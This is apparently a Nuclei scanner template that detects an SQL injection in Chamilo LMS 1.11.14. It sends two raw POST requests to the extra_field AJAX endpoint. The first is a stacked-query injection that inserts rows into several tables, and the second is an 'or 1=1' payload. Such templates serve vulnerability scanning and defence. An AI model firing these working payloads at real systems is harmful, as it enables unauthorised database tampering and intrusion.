id: chamilo-lms-sqli

info:
  name: Chamilo LMS SQL Injection
  author: undefl0w
  severity: high
  description: Finds sql injection in Chamilo version 1.11.14
  tags: chamilo,sqli

requests:
  - raw:
      - |
        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'{{randstr}}'); INSERT INTO extra_field_options(option_value) VALUES ('{{randstr}}'); INSERT INTO tag (id, tag, field_id,count) VALUES(16, '{{randstr}}', 16,0) ON DUPLICATE KEY UPDATE     tag='{{randstr}}', field_id=16, count=0;  -- "]

      - |
        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=image&field_id=image&tag=image&from=image&search=image&options=["test') or 1=1 -- "]

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'